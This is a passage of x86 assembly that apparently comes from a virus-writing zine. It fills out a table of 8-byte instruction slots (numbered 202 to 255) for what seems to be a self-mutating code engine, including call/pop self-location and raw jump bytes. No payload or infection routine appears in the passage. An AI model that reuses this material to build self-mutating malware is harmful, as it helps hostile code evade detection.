    ECommand201:
    times (8-ECommand201+ACommand201): nop

    ; 1100 1010 - 202:
    CCommand202 EQU 202
    ACommand202:
    	and ebx, ecx
    ECommand202:
    times (8-ECommand202+ACommand202): nop

    ; 1100 1011 - 203:
    CCommand203 EQU 203
    ACommand203:
    	and ebx, ecx
    ECommand203:
    times (8-ECommand203+ACommand203): nop

    ; 1100 1100 - 204:
    CCommand204 EQU 204
    ACommand204:
    	nop
    ECommand204:
    times (8-ECommand204+ACommand204): nop

    ; 1100 1101 - 205:
    CCommand205 EQU 205
    ACommand205:
    	and ebx, ecx
    ECommand205:
    times (8-ECommand205+ACommand205): nop

    ; 1100 1110 - 206:
    CCommand206 EQU 206
    ACommand206:
    	and ebx, ecx
    ECommand206:
    times (8-ECommand206+ACommand206): nop

    ; 1100 1111 - 207:
    _and EQU 207
    ACommand207:
    	and ebx, ecx
    ECommand207:
    times (8-ECommand207+ACommand207): nop

    ; 1101 0000 - 208:
    CCommand208 EQU 208
    ACommand208:
    	mov ebx, DataOffset
    ECommand208:
    times (8-ECommand208+ACommand208): nop

    ; 1101 0001 - 209:
    CCommand209  EQU 209
    ACommand209:
    	jz over1
    	jmp esi
    	over1:
    ECommand209:
    times (8-ECommand209+ACommand209): nop

    ; 1101 0010 - 210:
    CCommand210 EQU 210
    ACommand210:
    	jz over2
    	jmp esi
    	over2:
    ECommand210:
    times (8-ECommand210+ACommand210): nop

    ; 1101 0011 - 211:
    _JnzUp EQU 211
    ACommand211:
    	jz over3
    	jmp esi
    	over3:
    ECommand211:
    times (8-ECommand211+ACommand211): nop

    ; 1101 0100 - 212:
    CCommand212 EQU 212
    ACommand212:
    	db 0x74, 0x20
    ECommand212:
    times (8-ECommand212+ACommand212): nop

    ; 1101 0101 - 213:
    CCommand213 EQU 213
    ACommand213:
    	db 0x74, 0x20
    ECommand213:
    times (8-ECommand213+ACommand213): nop

    ; 1101 0110 - 214:
    CCommand214 EQU 214
    ACommand214:
    	db 0x74, 0x20
    ECommand214:
    times (8-ECommand214+ACommand214): nop

    ; 1101 0111 - 215:
    CCommand215 EQU 215
    ACommand215:
    	jz over
    	jmp esi
    	over:
    ECommand215:
    times (8-ECommand215+ACommand215): nop

    ; 1101 1000 - 216:
    CCommand216 EQU 216
    ACommand216:
    	xor ebx, ecx
    ECommand216:
    times (8-ECommand216+ACommand216): nop

    ; 1101 1001 - 217:
    CCommand217 EQU 217
    ACommand217:
    	xor ebx, ecx
    ECommand217:
    times (8-ECommand217+ACommand217): nop

    ; 1101 1010 - 218:
    _xor EQU 218
    ACommand218:
    	xor ebx, ecx
    ECommand218:
    times (8-ECommand218+ACommand218): nop

    ; 1101 1011 - 219:
    CCommand219 EQU 219
    ACommand219:
    	xor ebx, ecx
    ECommand219:
    times (8-ECommand219+ACommand219): nop

    ; 1101 1100 - 220:
    CCommand220 EQU 220
    ACommand220:
    	add ebx, 0x1000
    ECommand220:
    times (8-ECommand220+ACommand220): nop

    ; 1101 1101 - 221:
    CCommand221 EQU 221
    ACommand221:
    	add ebx, 0x1000
    ECommand221:
    times (8-ECommand221+ACommand221): nop

    ; 1101 1110 - 222:
    CCommand222 EQU 222
    ACommand222:
    	add ebx, 0x1000
    ECommand222:
    times (8-ECommand222+ACommand222): nop

    ; 1101 1111 - 223:
    _add1000 EQU 223
    ACommand223:
    	add ebx, 0x1000
    ECommand223:
    times (8-ECommand223+ACommand223): nop

    ; 1110 0000 - 224:
    CCommand224 EQU 224
    ACommand224:
    	mov ebx, DataOffset
    ECommand224:
    times (8-ECommand224+ACommand224): nop

    ; 1110 0001 - 225:
    CCommand225 EQU 225
    ACommand225:
    	push ebx
    ECommand225:
    times (8-ECommand225+ACommand225): nop

    ; 1110 0010 - 226:
    CCommand226 EQU 226
    ACommand226:
    	mov ebx, DataOffset
    ECommand226:
    times (8-ECommand226+ACommand226): nop

    ; 1110 0011 - 227:
    CCommand227 EQU 227
    ACommand227:
    	mov ebx, DataOffset
    ECommand227:
    times (8-ECommand227+ACommand227): nop

    ; 1110 0100 - 228:
    _getEIP EQU 228
    ACommand228:
    	call gEIP1
    	gEIP1:
    	pop ebx
    ECommand228:
    times (8-ECommand228+ACommand228): nop

    ; 1110 0101 - 229:
    CCommand229 EQU 229
    ACommand229:
    	call gEIP2
    	gEIP2:
    	pop ebx
    ECommand229:
    times (8-ECommand229+ACommand229): nop

    ; 1110 0110 - 230:
    CCommand230 EQU 230
    ACommand230:
    	call gEIP
    	gEIP:
    	pop ebx
    ECommand230:
    times (8-ECommand230+ACommand230): nop

    ; 1110 0111 - 231:
    CCommand231 EQU 231
    ACommand231:
    	call gEIP22
    	gEIP22:
    	pop ebx
    ECommand231:
    times (8-ECommand231+ACommand231): nop

    ; 1110 1000 - 232:
    _JnzDown EQU 232
    ACommand232:
    	db 0x75, 0x20
    ECommand232:
    times (8-ECommand232+ACommand232): nop

    ; 1110 1001 - 233:
    CCommand233 EQU 233
    ACommand233:
    	db 0x75, 0x20
    ECommand233:
    times (8-ECommand233+ACommand233): nop

    ; 1110 1010 - 234:
    CCommand234 EQU 234
    ACommand234:
    	db 0x75, 0x20
    ECommand234:
    times (8-ECommand234+ACommand234): nop

    ; 1110 1011 - 235:
    CCommand235 EQU 235
    ACommand235:
    	add ebx, 0x0400
    ECommand235:
    times (8-ECommand235+ACommand235): nop

    ; 1110 1100 - 236:
    CCommand236 EQU 236
    ACommand236:
    	call gEIP3
    	gEIP3:
    	pop ebx
    ECommand236:
    times (8-ECommand236+ACommand236): nop

    ; 1110 1101 - 237:
    CCommand237 EQU 237
    ACommand237:
    	add ebx, 0x0400
    ECommand237:
    times (8-ECommand237+ACommand237): nop

    ; 1110 1110 - 238:
    CCommand238 EQU 238
    ACommand238:
    	nop
    ECommand238:
    times (8-ECommand238+ACommand238): nop

    ; 1110 1111 - 239:
    _add0400 EQU 239
    ACommand239:
    	add ebx, 0x0400
    ECommand239:
    times (8-ECommand239+ACommand239): nop

    ; 1111 0000 - 240:
    CCommand240 EQU 240
    ACommand240:
    	nop
    ECommand240:
    times (8-ECommand240+ACommand240): nop

    ; 1111 0001 - 241:
    CCommand241 EQU 241
    ACommand241:
    	nop
    ECommand241:
    times (8-ECommand241+ACommand241): nop

    ; 1111 0010 - 242:
    CCommand242 EQU 242
    ACommand242:
    	nop
    ECommand242:
    times (8-ECommand242+ACommand242): nop

    ; 1111 0011 - 243:
    CCommand243 EQU 243
    ACommand243:
    	nop
    ECommand243:
    times (8-ECommand243+ACommand243): nop

    ; 1111 0100 - 244:
    CCommand244 EQU 244
    ACommand244:
    	db 0x74, 0x20
    ECommand244:
    times (8-ECommand244+ACommand244): nop

    ; 1111 0101 - 245:
    _JzDown EQU 245
    ACommand245:
    	db 0x74, 0x20
    ECommand245:
    times (8-ECommand245+ACommand245): nop

    ; 1111 0110 - 246:
    CCommand246 EQU 246
    ACommand246:
    	add ebx, 0x0100
    ECommand246:
    times (8-ECommand246+ACommand246): nop

    ; 1111 0111 - 247:
    _add0100 EQU 247
    ACommand247:
    	add ebx, 0x0100
    ECommand247:
    times (8-ECommand247+ACommand247): nop

    ; 1111 1000 - 248:
    CCommand248 EQU 248
    ACommand248:
    	mov ebx, 0x0
    ECommand248:
    times (8-ECommand248+ACommand248): nop

    ; 1111 1001 - 249:
    CCommand249 EQU 249
    ACommand249:
    	mov ebx, 0x0
    ECommand249:
    times (8-ECommand249+ACommand249): nop

    ; 1111 1010 - 250:
    CCommand250 EQU 250
    ACommand250:
    	mov ebx, 0x0
    ECommand250:
    times (8-ECommand250+ACommand250): nop

    ; 1111 1011 - 251:
    _add0040 EQU 251
    ACommand251:
    	add ebx, 0x0040
    ECommand251:
    times (8-ECommand251+ACommand251): nop

    ; 1111 1100 - 252:
    CCommand252 EQU 252
    ACommand252:
    	add ebx, 0x0010
    ECommand252:
    times (8-ECommand252+ACommand252): nop

    ; 1111 1101 - 253:
    _add0010 EQU 253
    ACommand253:
    	add ebx, 0x0010
    ECommand253:
    times (8-ECommand253+ACommand253): nop

    ; 1111 1110 - 254:
    _add0004 EQU 254
    ACommand254:
    	add ebx, 0x0004
    ECommand254:
    times (8-ECommand254+ACommand254): nop

    ; 1111 1111 - 255:
    _add0001 EQU 255
    ACommand255:
    	add ebx, 0x0001
    ECommand255:
    times (8-ECommand255+ACommand255): nop

Virus-writing Bulletin 2011